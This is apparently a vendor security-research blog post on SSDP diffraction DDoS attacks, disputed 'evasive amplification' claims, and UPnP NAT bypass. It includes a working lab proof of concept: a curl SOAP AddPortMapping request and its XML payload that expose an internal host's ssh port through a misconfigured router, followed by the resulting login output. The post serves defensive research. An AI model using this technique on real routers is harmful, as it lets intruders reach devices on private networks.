The Importance of Being Accurate: SSDP Diffraction Attacks, UDP Refraction Attacks, and UPnP NAT Bypass
Written by Roland Dobbins, ASERT Principal Engineer & Matt Bing, ASERT Security Analyst.
In this article:
- SSDP Diffraction Attacks aren’t new; they’ve been observed in the wild since 2015.
- ‘Evasive Amplification’ attacks, aren’t.
- UPnP NAT Bypass is real.
SSDP Diffraction Attacks – Targeting ISP and Enterprise Networks since 2015
Three years ago, Arbor and Arbor customers observed a then-new variation of SSDP reflection/amplification DDoS attacks which involved attacker-initiated SSDP M-SEARCH replies sourced not from the usual UDP/1900 (plus non-initial fragments), but instead from a seemingly pseudo-random range of UDP source ports on the abusable CPE devices being leveraged as SSDP reflectors/amplifiers.
At first, this non-standard, high-source-port SSDP attack traffic was generally mixed in with the usual UDP/1900-sourced SSDP attacks. But within a few weeks, we were observing SSDP reflection/amplification attacks consisting almost entirely of high-source-port traffic. This is indicative that the creators of DDoS attack infrastructure (both private botnets and publicly-accessible booter/stresser DDoS-for-hire services) were initially unaware that some abusable SSDP reflectors/amplifiers were exhibiting this behavior; once they realized that there was a population of reflectors/amplifiers which would generate pseudo-random high-source-port replies, they deliberately identified and specified those specific SSDP reflectors/amplifiers in their attack tools.
While we were initially unsure precisely how the attackers were generating this high-source-port SSDP DDoS attack traffic, Arbor SP and Arbor TMS successfully detected, classified, traced back, and mitigated these ‘minute-0’ attacks. And when these high-port-sourced SSDP reflectors became the DDoS attack methodology of choice for the high-profile ‘DD4BC’ DDoS extortion threat actor, we presented what we thought knew at the time about how this SSDP diffraction DDoS attack traffic was being generated (see pp. 34-57 of the .pdf presentation) at multiple network industry conferences worldwide throughout 2015.
We also speculated that however the attackers were causing this diffracted attack traffic to be generated, it might potentially allow them to directly reach out and touch devices located behind the CPE NAT service, which would have very serious implications in terms of the ability of attackers to compromise and subvert devices and services on supposedly private internal networks. [More on this in a bit.]
So, contrary to recent assertions that SSDP diffraction DDoS attacks are somehow a ‘new’ DDoS attack methodology, they’ve been successfully detected, classified, traced back, and mitigated by Arbor and Arbor customers since 2015, and have been discussed extensively by the global operational community since Arbor’s presentations about these attacks at multiple industry networking conferences in that timeframe.
So, How Do Attackers Actually Generate SSDP Diffraction DDoS Attacks?
An extensive investigation by Matt Bing of the ASERT team revealed that of the ~2 million abusable SSDP reflectors/amplifiers on the public Internet as of this writing, ~1.1 million of them incorporate a flawed open-source UPnP library which results in SSDP M-SEARCH responses – the type of messages stimulated by attackers in SSDP reflection/amplification attacks – being sourced from pseudo-random UDP ephemeral ports, rather than the usual UDP/1900 source port. Matt’s NANOG presentation from February of 2018 can be viewed here.
All that’s required is that the botmasters and DDoS-for-hire infrastructure operators maintain relatively up-to-date lists of abusable SSDP reflectors/amplifiers which exhibit the desired behavior. This process is easily automated, so this isn’t much of an administrative burden for them.
But What About So-Called ’Evasive Amplification’?
In all the brouhaha about the supposedly ‘new’ threat of SSDP refraction DDoS attacks – which, as noted above, have been widely understood and successfully defended against since 2015 – a genuinely new, if somewhat overhyped, variation in UDP reflection/amplification DDoS attack generation dubbed ‘evasive amplification’ was posited as the attack methodology supposedly used to generate these ‘new’ (since 2015!) SSDP diffraction DDoS attacks. Of course, as we’ve already seen above, this isn’t actually the case.
As it turns out, there is in fact a very small population of abusable consumer-grade CPE SSDP reflectors/amplifiers which insecurely expose their UPnP control-plane to the Internet; this allows attackers to potentially re-map the NAT rules on the affected devices. By manipulating the NAT properties of these SSDP reflectors/amplifiers, attackers can cause reflection/amplification traffic to be arbitrarily re-mapped to non-standard source ports. So, for example, DNS reflection/amplification attack traffic could be remapped to UDP/1337 or another UDP source port of the attacker’s choice (this applies to the initial fragments, which have UDP source and destination port numbers; the non-initial UDP fragment component of these attacks doesn’t exhibit port numbers).
Of the total Internet population of ~2,000,000 abusable SSDP reflectors/amplifiers, there are only about ~33,000, or ~1.65%, which could potentially be manipulated in this manner. And since remapping of the NAT rules on the reflectors/amplifiers simply maps one fixed source port to another fixed source port, it’s quite obvious that the broken SSDP library cited above, and not NAT rule manipulation by attackers, is what enables SSDP diffraction attacks.
It’s also important to note that there are potentially tens of thousands of abusable UDP services/applications which attackers can leverage to generate high-volume UDP reflection/amplification DDoS attacks. So, the ability to perform unauthorized manipulation of NAT rules on a small population of SSDP reflectors/amplifiers is relatively operationally complex for the attacker, and given the breadth of UDP services which can easily be abused, doesn’t really constitute a significant material change in the overall DDoS threat landscape.
And given that state-of-the-art DDoS mitigation solutions such as Arbor SP/TMS can readily detect, classify, traceback, and mitigate this so far entirely-theoretical subclass of DDoS attacks, as well as UDP reflection/amplification attacks generally, we believe that ‘UDP refraction attacks’ is a better way to describe them, since they can’t actually evade modern DDoS defense technology.
NAT Bypass, OTOH, is a Real Possibility
When we first observed and assisted Arbor customers in mitigating SSDP diffraction attacks back in 2015, we weren’t sure precisely how the attack traffic was being generated, but we theorized that it might be possible for attackers to somehow manipulate UPnP NAT rules in order to allow them to potentially compromise and subvert UPnP-capable devices/applications which registered themselves with their respective CPE UPnP gateway services. While it turns out that we were initially mistaken about the actual attack methodology, it appears that in the larger context of UPnP NAT bypass, our suspicions were well-founded.
It turns out that the ~1.65% of abusable SSDP consumer CPE devices which inadvertently allow NAT rule manipulation by attackers are vulnerable due to a misconfigured-from-the-factory MiniUPnP implementation and configuration. And with a little bit of work, we were able to successfully force the mapping of TCP/2222 from a public IP address to TCP/22 on an internal, NATted RFC1918 address, thereby accessing ssh running on a supposedly safe and secure Linux machine sitting behind the NAT!
Here’s our test topology:
Attacker (192.0.2.4) —> UPnP CPE NAT (172.16.145.136 public/192.168.1.1 internal) —> Victim host (192.168.1.200)
And here are the commands we used to set up the unauthorized NAT mapping rules:
% curl -H 'Content-Type: text/xml' \ -H 'SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"' \ -d @addportmapping -X POST http://172.16.145.136:35221/WANIPCn.xml % cat addportmapping <?xml version="1.0" ?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"> <NewRemoteHost></NewRemoteHost> <NewExternalPort>2222</NewExternalPort> <NewProtocol>TCP</NewProtocol> <NewInternalPort>22</NewInternalPort> <NewInternalClient>192.168.1.200</NewInternalClient> <NewEnabled>1</NewEnabled> <NewPortMappingDescription>LOLOLOLOLOLOL</NewPortMappingDescription> <NewLeaseDuration>0</NewLeaseDuration> </u:AddPortMapping></s:Body> </s:Envelope> As above, TCP/2222 on linuxtest will now get forwarded to TCP/22 on the non-Internet-accessible, NATted, victim host. This allows us to abuse it from the public Internet!: % ssh -p 2222 firstname.lastname@example.org ifconfig ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.1.200 netmask 255.255.255.0 broadcast 192.168.1.255 inet6 fe80::20c:29ff:fe07:868e prefixlen 64 scopeid 0x20<link> ether 00:0c:29:07:86:8e txqueuelen 1000 (Ethernet) RX packets 1316 bytes 192184 (192.1 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 408 bytes 43338 (43.3 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
So, while ‘Evasive Amplification’ isn’t actually a factor in SSDP diffraction attacks, nor does it represent a significant alteration in the DDoS threat landscape, the underlying premise of unauthorized manipulation of UPnP NAT rules across the public Internet does in fact represent a potentially serious threat to confidentiality and integrity which must be addressed (so to speak).
One of the key strengths of Arbor is that the same ASERT personnel who research new DDoS attack methodologies and ways to counter them are also involved in assisting Arbor customers in mitigating large, complex DDoS attacks on the production Internet; this means that ASERT has a uniquely grounded and operationally-sound view of what constitutes actual threats to Internet security, and how to counter those threats. In particular, our combined decades of DDoS defense expertise and experience, as well as our attention to detail and careful assessment of prior art, allows us to provide useful architectural and operational guidance while ensuring that we fully explore the implications of potential new attack methodologies.
We strongly recommend that both commercial and academic DDoS researchers spend time with teams actively engaged in DDoS mitigation, as the operational experience gained will prove invaluable in accurately assessing both the practicality and potential impact of new, theoretical DDoS vectors, as well as in understanding the actual mechanisms and methodologies employed in real-world DDoS attacks. It is also recommended that DDoS researchers familiarize themselves with the wealth of prior art in terms of best current practices (BCPs) and well-known DDoS attack vectors. Finally, we suggest that DDoS researchers also participate in regional network industry conferences such as NANOG, LACNIC, RIPE, APRICOT, APNIC, SANOG, AusNOG, NZNOG, et. al., so as to ensure they’re fully up to speed on the latest DDoS attack methodologies and mitigation techniques.
Special thanks to Steinthor Bjarnason, Andrew Beard, Kaido Vahers, and Spencer Ryan.